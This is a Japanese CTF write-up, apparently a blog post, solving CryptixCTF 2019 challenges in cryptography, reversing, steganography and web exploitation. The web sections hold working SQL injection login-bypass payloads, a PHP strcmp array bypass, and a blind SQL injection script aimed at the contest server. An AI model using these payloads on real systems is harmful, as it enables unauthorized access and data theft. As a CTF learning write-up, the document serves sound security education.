CryptixCTF 2019 write up

CryptixCTF 2019に参加しました！
(team:score_gazer)

結果は2095点で19位でした。
あと一問で全完だったのに…悔しい。

![FireShot Capture 001 - CryptixCTF - cryptixctf.com.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/487212/581c85e3-307e-fbe5-e90a-05a64e344ba6.png)

![FireShot Capture 002 - CryptixCTF - cryptixctf.com.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/487212/26b9aa57-e74f-c097-0207-4a306ada00be.png)


それでは解いた問題について解説していきます！

※解説を「ですます調」でやるとしっくりこないので、「だである調」に変えています。

# Make yourself comfortable (レベル１)

## Welcome gift

### ポイント

- base64

### 解く

`ZmxhZ3t3ZWxjb21lX3RvX2NyeXB0aXhDVEZfYmFzZTY0aXRpc30K`をbase64でデコード

### フラグ

`flag{welcome_to_cryptixCTF_base64itis}`

## You made it here!

### ポイント

- デベロッパーツール(Chromeの場合)でソースを確認できる。

### 解く

[問題ページ](https://cryptixctf.com/web1)のソースを見る。

フラグの一部を確認

```html
<!-- Came for the flag? Bingo!
              first part: flag{Pr3tty_ 
        -->
```

`Sources`タブに行き、`style.css`と`script.js`も見てみる。

同様にフラグの一部が書いてあるので組み合わせる。

### フラグ

`flag{Pr3tty_b4s1c_5tuff}`

## Secret Code

### ポイント

- `strings`コマンドでファイルの文字列を確認できる。

### 解く

`strings`コマンドで問題ファイルの文字列を確認
`grep`コマンドをつけることで結果を絞り込める。

```sh
:# strings secret_code | grep flag{
flag{sTring5_To_tH3_R35cU3}
```

### フラグ

`flag{sTring5_To_tH3_R35cU3}`

# Moving On (レベル２)

## Mixed Up

### ポイント

- 単一換字暗号

- 手作業での復号はしんどいのでツールを使う。

### 解く

[ここ](https://www.guballa.de/substitution-solver)に文章を投げる。

### フラグ

`flag{freqanalysisworkxzz}`

## Where to run this

### ポイント

- 本体は`classes.dex`
- dex2jarでjavaのソースに変換できる。

### 解く

問題ファイルを展開すると沢山のファイルが出てくる。
dexファイルが確認できるので`dex2jar`でjarファイルに変換
さらに`jd-gui`というソフトでjarファイルを解析していく。

`com.example.password.AppComputActivity`というクラスが怪しいので動きを追ってみる。

```java
package com.example.password;

import android.support.v7.app.AppCompatActivity;

public abstract class AppComputActivity extends AppCompatActivity {
  int a = 57;
  
  int b = 29;
  
  int[] key = { 
      4817, 6356, 3107, 6014, 2993, 6584, 5444, 2195, 5444, 4817, 
      6527, 6014, 3050 };
  
  int obf(String paramString) {
    byte b1 = 0;
    while (b1 < paramString.length()) {
      int i = paramString.charAt(b1);
      if (this.a * i + this.b == this.key[b1]) {
        b1++;
        continue;
      } 
      return 0;
    } 
    return 1;
  }
}
```

`b1`がカウンタの役割をしており、`key[b1] == a * i + b`をチェックしている。
これを満たす`i`を計算してみる。 

```android.py
enc = [4817, 6356, 3107, 6014, 2993, 6584, 5444, 2195, 5444, 4817, 
      6527, 6014, 3050]

a = 57
  
b = 29
  
b1 = 0
while b1 < len(enc):
    i = (enc[b1] - b) // a
    b1 = b1 + 1
    print(chr(i), end='')
```

実行結果

```bash
:# python3 android.py 
To6i4s_&_Tri5
```

### フラグ

`flag{To6i4s_&_Tri5}`

## Infiltrate

### ポイント

- SQLインジェクション

### 解く

[問題ページ](https://cryptixctf.com/web2)に行くと、ログイン画面が確認できる。

SQLインジェクションの確認のため、以下を入力

```text
Username:test
Password:'
```

`cannot execute query`と表示され、シングルクオートがエスケープされていないことが分かる。
ログインするため、以下を入力

```text
Username:test
Password:' or 1=1 #
```

ログインに成功し、フラグが表示される。

内部的に以下のように解釈されるので、パスワードが分からなくてもログインできてしまう。
(`1=1`は常にTrue, #で以降の文をコメントアウト)

```
Password='' or 1=1 #
```

### フラグ

`flag{s1mpl3_5QL_1nj3cti0n}`

# Still Manageable (レベル３)

## The Spy

### ポイント

- RSA暗号において、`n`が素因数分解できれば複号可能

### 解く

問題文は以下の通り

```text
HackCrypt1337: Do you know, primes are great way to hide secrets!

n00b1001: Whatt..? primes? I don't believe you

HackCrypt1337: You are being too loud!, remember this number, 3073416132828889709313918053975078361304902307, it will be useful to understand the flag. and one more is......
Oh no! Someone is here, you can guess other one yourself. It is trivial anyways.
Here, keep this number safe with you!
1217323181436745647195685030986548015017805440

And they leave....

Get the flag!
```

RSAだとは問題に書かれていないが、`prime`という文字、もう１つの推測できる値の存在（`e`には大抵`65537`が使われる）、そしてなにより`3073416132828889709313918053975078361304902307`が2つの素数の積(`13558774610046711780701<23> · 226673591177742970257407<24>`)であることから、RSAだと分かる。

後は解くだけ

```solveRSA.py
from Crypto.Util import number

p = 13558774610046711780701
q = 226673591177742970257407

e = 65537

c = 1217323181436745647195685030986548015017805440

d = number.inverse(e, (p-1)*(q-1))

m = pow(c, d, p*q)

flag = number.long_to_bytes(m)
print(flag)
```

実行結果は以下の通り

```shell
:# python3 solveRSA.py 
b'flag{w3ak_R5A_bad}'
```

### フラグ

`flag{w3ak_R5A_bad}`

## Weird machine

### ポイント

- 1万パターンくらいならすぐ総当たりできる。

### 解く

問題のプログラムは以下の通り

```encrypt.py
import random
import string
from deep_memory import message

print("Encrpyt everything!!.... Oh no, system failure. Encrypting last message received")

rand = random.randint(1,10000)
alphanum = string.ascii_letters + string.digits

def random_string(rand_seed, message):
    random.seed(rand_seed)
    rand_string = ''
    for i in range(len(message)):
        rand_string += alphanum[random.randint(1,1000)%len(alphanum)]
    return rand_string

def encrpyt(random_str, message):
    encrpyted = ''
    for i in range(len(message)):
        k = ord(message[i])^ord(random_str[i])
        encrpyted += (bin(k)[2:]).zfill(8)
    return encrpyted

print(encrpyt(random_string(rand, message), message))
```

生成した乱数と平文をXORしているので復号できないとおもいきや、乱数のシード値が1~10000までとなっている。

全部試してみて復号結果に`flag{`が含まれてないか探す。

```dec.py
import random
import string

alphanum = string.ascii_letters + string.digits

f = open('seq.txt')
data = f.read()
f.close()

data = data.strip()
enc = []
for i in range(len(data) // 8):
    binary = data[i*8:i*8+8]
    enc.append(int(binary, 2))

def random_string(rand_seed, message):
    random.seed(rand_seed)
    rand_string = ''
    for _ in range(len(message)):
        rand_string += alphanum[random.randint(1,1000)%len(alphanum)]
    return rand_string

def decrpyt(random_str, enc):
    decrpyted = ''
    for i in range(len(enc)):
        k = enc[i]^ord(random_str[i])
        decrpyted += chr(k)
    return decrpyted

for i in range(1, 10000):
    dec = decrpyt(random_string(i, enc), enc)
    if 'flag' in dec:
        print(dec)
```

実行結果は以下の通り

```shell
:# python3 dec.py
flag{R4nd0m_s33d_s4v3d_y0u}
```

### フラグ

`flag{R4nd0m_s33d_s4v3d_y0u}`

# Welcome to the real deal (レベル４)

## Hash Hash Hash

### ポイント

- `random_prime`の値について二分探索が可能

### 解く

問題のプログラムは以下の通り

```hash.py
import random
from math import sqrt
from primes import random_prime '''Gives us a random prime for hashing'''
from mymessages import a_secret 

def hash_it(data, prime):
    hashed_number = 0
    sum_key = ord(data) + prime
    mul_key = ord(data)*prime
    numerator = ord(data)**2 + prime**2 + sum_key**2 + mul_key**2
    denominator = sqrt(ord(data)) + sqrt(prime) + sqrt(sum_key) + sqrt(mul_key)
    hashed_number = int(sqrt(numerator/denominator))
    return hex(hashed_number)


True_hash = ''
for i in a_secret:
    True_hash += hash_it(i, random_prime) + ":"
print(True_hash)
```

平文から1文字ずつ取ってきて`data`とし、`random_prime`となんやかんやして`hash`を生成している。
それぞれ$d,p,h$とすれば、以下の関係が成り立っている。

```math
h = \frac{(d+p)^2 + (dp)^2 + d^2 + p^2}{\sqrt{d} + \sqrt{p} + \sqrt{d+p} + \sqrt{dp}}
```

この式から$p$を求めたいが、$p=$に変形するのは面倒
ここで式より明らかに$p$が大きくなると$h$も大きくなるので、$p$の値を二分探索してみる。

```dec.py
import random
from math import sqrt
from sympy import isprime

True_hash = 0x1bf770e

def hash_it(data, prime):
    hashed_number = 0
    sum_key = ord(data) + prime
    mul_key = ord(data)*prime
    numerator = ord(data)**2 + prime**2 + sum_key**2 + mul_key**2
    denominator = sqrt(ord(data)) + sqrt(prime) + sqrt(sum_key) + sqrt(mul_key)
    hashed_number = int(sqrt(numerator/denominator))
    return hex(hashed_number)

a_secret = 'f'
left = 0
right = 10**17
while True:
    p = (left + right) // 2
    hash = int(hash_it(a_secret, p), 16)
    if True_hash < hash:
        right = p - 1
    elif True_hash > hash:
        left = p + 1
    elif True_hash == hash:
        if isprime(p):
            print("p =",p)
        else:
            pass
        break
    if left >= right:
        break
```
（先頭文字は`f`であるはずなのでこれで$p$を探せる）

実行結果は以下の通り

```shell
:# python3 dec.py 
p = 99999721
```
コンテスト中はこれで上手くいったが、write-up書いてるときに`left`, `right`の値を変えたら$p$を見つけられなかった。もしかしたらプログラム間違ってるかも？

$p$の値が分かったので復号

```solve.py
import random
from math import sqrt
from sympy import isprime
import string

hashes = [0x1bf770e,0x1d426a2,0x1ae031d,0x1c2ee88,0x206bf4e,0x1710894,0x1e892b6,0xf95208,0x1d7928c,0x101792b,0x1098e50,0x1a6f938,0x10585f1,0x1e892b6,0x101792b,0x1a6f938,0x10585f1,0x18a7822,0x101792b,0x1ebf3cb,0xf53775,0x1d7928c,0x101792b,0x20d61ce,]

def hash_it(data, prime):
    hashed_number = 0
    sum_key = ord(data) + prime
    mul_key = ord(data)*prime
    numerator = ord(data)**2 + prime**2 + sum_key**2 + mul_key**2
    denominator = sqrt(ord(data)) + sqrt(prime) + sqrt(sum_key) + sqrt(mul_key)
    hashed_number = int(sqrt(numerator/denominator))
    return hex(hashed_number)

flag = ''

for i in range(len(hashes)):
    for a_secret in string.printable:
        p = 99999721
        True_hash = int(hash_it(a_secret, p), 16)
        if True_hash == hashes[i]:
            flag += a_secret
            break
print(flag)
```

実行結果は以下の通り

```shell
:# python3 solve.py 
flag{Pr1m35_4r3_4W3s0m3}
```

### フラグ

`flag{Pr1m35_4r3_4W3s0m3}`

## Let's climb the ladder

### ポイント

- ソルバーを使う

### 解く

問題ファイルを`ghidra`で開く。
`main`関数を見てみると`check`関数で入力をチェックしていることが分かる。

`check`関数を`ghidra`で逆コンパイルした結果は以下の通り

```c
void check(char *param_1)

{
  size_t sVar1;
  
  sVar1 = strlen(param_1);
  if ((int)sVar1 == 0x15) {
    if (param_1[7] == param_1[0x10]) {
      if (param_1[1] == param_1[0xb]) {
        if (param_1[2] == param_1[8]) {
          if (param_1[8] == param_1[0x12]) {
            if (param_1[3] == param_1[0x11]) {
              if (param_1[5] == param_1[0x14]) {
                if (param_1[9] == param_1[10]) {
                  if (param_1[0xc] == param_1[0x13]) {
                    if (*param_1 == 'r') {
                      if ((int)param_1[2] - (int)param_1[1] == 1) {
                        if ((int)param_1[10] - (int)param_1[8] == 1) {
                          if (param_1[2] == '4') {
                            if ((int)*param_1 + (int)param_1[3] == 0xd6) {
                              if ((int)param_1[4] - (int)param_1[3] == 5) {
                                if ((int)param_1[6] + (int)param_1[5] == 0xd5) {
                                  if ((int)param_1[5] - (int)param_1[6] == 7) {
                                    if ((int)param_1[7] - (int)param_1[8] == 0x2b) {
                                      if ((int)param_1[0xd] + (int)param_1[0xc] == 0xcf) {
                                        if ((int)param_1[0xd] * (int)param_1[0xc] == 0x29ba) {
                                          if ((int)param_1[0xf] - (int)param_1[0xe] == 0xd) {
                                            if ((int)param_1[0xf] - (int)*param_1 == 7) {
                                              success();
                                            }
                                            else {
                                              fail();
                                            }
                                          }
                                          else {
                                            fail();
                                          }
                                        }
                                        else {
                                          fail();
                                        }
                                      }
                                      else {
                                        fail();
                                      }
                                    }
                                    else {
                                      fail();
                                    }
                                  }
                                  else {
                                    fail();
                                  }
                                }
                                else {
                                  fail();
                                }
                              }
                              else {
                                fail();
                              }
                            }
                            else {
                              fail();
                            }
                          }
                          else {
                            fail();
                          }
                        }
                        else {
                          fail();
                        }
                      }
                      else {
                        fail();
                      }
                    }
                    else {
                      fail();
                    }
                  }
                  else {
                    fail();
                  }
                }
                else {
                  fail();
                }
              }
              else {
                fail();
              }
            }
            else {
              fail();
            }
          }
          else {
            fail();
          }
        }
        else {
          fail();
        }
      }
      else {
        fail();
      }
    }
    else {
      fail();
    }
  }
  else {
    fail();
  }
  return;
}
```

とにかく長い。
いちいちif文を追っかけるのも面倒なので、`z3`というソルバーを使って解く。
条件を渡せばそれを満たす解を求めてくれる。

```solve.py
from z3 import *

param_1 = [BitVec("flag{:d}".format(i), 8)
        for i in range(0x15)]
s = Solver()

s.add(param_1[7] == param_1[0x10])
s.add(param_1[1] == param_1[0xb])
s.add(param_1[2] == param_1[8])
s.add(param_1[8] == param_1[0x12])
s.add(param_1[3] == param_1[0x11])
s.add(param_1[5] == param_1[0x14])
s.add(param_1[9] == param_1[10])
s.add(param_1[0xc] == param_1[0x13])
s.add(param_1[2] - param_1[1] == 1)
s.add(param_1[10] - param_1[8] == 1)
s.add(param_1[2] == ord('4'))
s.add(param_1[0] == ord('r'))
s.add(param_1[0] + param_1[3] == 0xd6)
s.add(param_1[4] - param_1[3] == 5)
s.add(param_1[6] + param_1[5] == 0xd5)
s.add(param_1[5] - param_1[6] == 7)
s.add(param_1[7] - param_1[8] == 0x2b)
s.add(param_1[0xd] + param_1[0xc] == 0xcf)
s.add(param_1[0xd] * param_1[0xc] == 0x29ba)
s.add(param_1[0xf] - param_1[0xe] == 0xd)
s.add(param_1[0xf] - param_1[0] == 7)

while True:
    answer = ['?' for i in range(0x15)]
    r = s.check()
    if r == sat:
        m = s.model()
        for d in m.decls():
            answer[int(d.name().replace('flag', ''))] = chr(
                m[d].as_long())
        answer = ''.join(answer)
        print("Found!")
        print(answer)
        exit(0)
```

実行結果は以下の通り

```shell
# python3 solve.py 
Found!
r34ding_4553bmly_d4bn
```

### フラグ

`flag{r34ding_4553bmly_d4bn}`

## Your ID please

### ポイント

- phpの型に注意

### 解く

問題ページのソースがあるので見てみる。

```php
include_once 'flag.php';

if($_SERVER["REQUEST_METHOD"] == "POST"){
    if(isset($_POST["ID"])&&isset($_POST["pwd"])){
        if(strcmp($secretpassphrase, $_POST["pwd"]) == 0){
            echo "Hey, you are in!  " . $_POST["ID"]  . "<br>";
            if($_POST["ID"] == "SuperUser1337"){
                echo "Your Flag: " . $flag;
            }
        }else{
            echo "<script type='text/javascript'>alert('Unable to Login');</script>";
        }
    }
}
```

以下の部分が脆弱である。

```php
if(strcmp($secretpassphrase, $_POST["pwd"]) == 0)
```

`php`の`strcmp`は、配列との比較結果が真になるという変な性質を持つ。
よって、以下の値を`POST`で送信する。

```text
ID = SuperUser1337
pwd[] = a
```
ログインに成功しフラグが得られる。

### フラグ

`flag{Why_Juggl3_th3_Typ5}`

# Finally... (レベル５)

## Hidden deep within

### ポイント

- 色情報のLSBに情報が隠されている。

### 解く

問題の画像は以下の通り

![useless.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/487212/d1540108-848f-3653-4196-4bd6ecf2e4d4.png)

「青い空を見上げればいつもそこに白い猫」というソフトを使って画像を解析

<img width="672" alt="キャプチャ.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/487212/7247d810-776a-d81d-0e07-92a8d260cda2.png">

LSBの値を抽出すると、PNGという文字が確認できる。
バイナリデータに保存して開いてみる。

![1013_1701_09 BinExtract.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/487212/96e48759-3acf-488f-9950-1a7f77a3534a.png)

残念、これはフラグではないようだ。

あきらめようかと考えたが、わざわざ偽のフラグの画像を埋め込んでいること自体が怪しいと思い始め、この画像をさらに解析してみる。

またLSBの値を抽出すると、フラグが確認できる。

<img width="693" alt="キャプチャ2.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/487212/d5baba04-ab63-1d17-ddcc-8b35341b7652.png">

### フラグ

`flag{st3g4n0gr4phy_i5_34sy}`

## Pure Magic

### ポイント

- ブラインドSQLインジェクション

### 解く

[問題ページ](https://cryptixctf.com/web3)に行くと、`PassPhrase`の入力を求められる。

先ほどの問題と同様に、`' or 1=1 #`と入力

すると以下の文章が出てくる。

```text
You thought it would be that easy?! Hahaha. There is no flag.
But since you have passed the phrase check, here is the query
SELECT * FROM data where password='XXXXX' :)
```

どうやらログインには成功したが、パスワードは表示されないようだ。
ここでブラインドSQLインジェクションを仕掛けてみる。

ログインに成功した場合にのみ上記の文章が現れることを利用する。

まずは以下のペイロードでパスワードの文字数を調べる。
パスワードの長さが`X`ならばログインに成功するはず。

```text
{'pwd': "' or length(password)=X #"}
```

次に以下のペイロードで１文字ずつパスワードを調べる。
パスワードの`Y`文字目が`Z`ならばログインに成功するはず。

```text
{'pwd': "' or substr(password,Y,1)= 'Z' #"}
```

以下のプログラムを作成し実行

```login.py
import requests
import time
import string

url = 'https://cryptixctf.com/web3/login.php'

for i in range(50):
    time.sleep(0.1)
    payload = {'pwd':"\' or length(password)={} #".format(i)}
    r = requests.post(url, data=payload)
    if 'Hahaha' in r.text:
        length = i
        break

print("length is", length)

flag = ""

for a in range(1, 1 + length):
    for b in string.printable:
        time.sleep(0.1)
        payload = {'pwd':"\' or substr(password,{},1)= \'{}\' #".format(a,b)}
        r = requests.post(url, data=payload)
        if 'Hahaha' in r.text:
            flag += b
            print(flag)
            break
print("flag is here:", flag)
```

実行結果は以下の通り

```shell
:# python3 login.py 
length is 15
b
bl
bl1
bl1n
bl1nd
bl1nd_
bl1nd_s
bl1nd_s0
bl1nd_s0r
bl1nd_s0rc
bl1nd_s0rc3
bl1nd_s0rc3r
bl1nd_s0rc3r3
bl1nd_s0rc3r3r
bl1nd_s0rc3r3ry
flag is here: bl1nd_s0rc3r3ry
```

### フラグ

`flag{bl1nd_s0rc3r3ry}`


# 終わりに

めっちゃ楽しかったです！！

初めは「ちょっとやってみるか」程度でしたが、問題の難易度がちょうどいい感じに上がっていくのでCTF終了時間まで熱中してしまいました。

間違いなどあれば遠慮なくコメントください！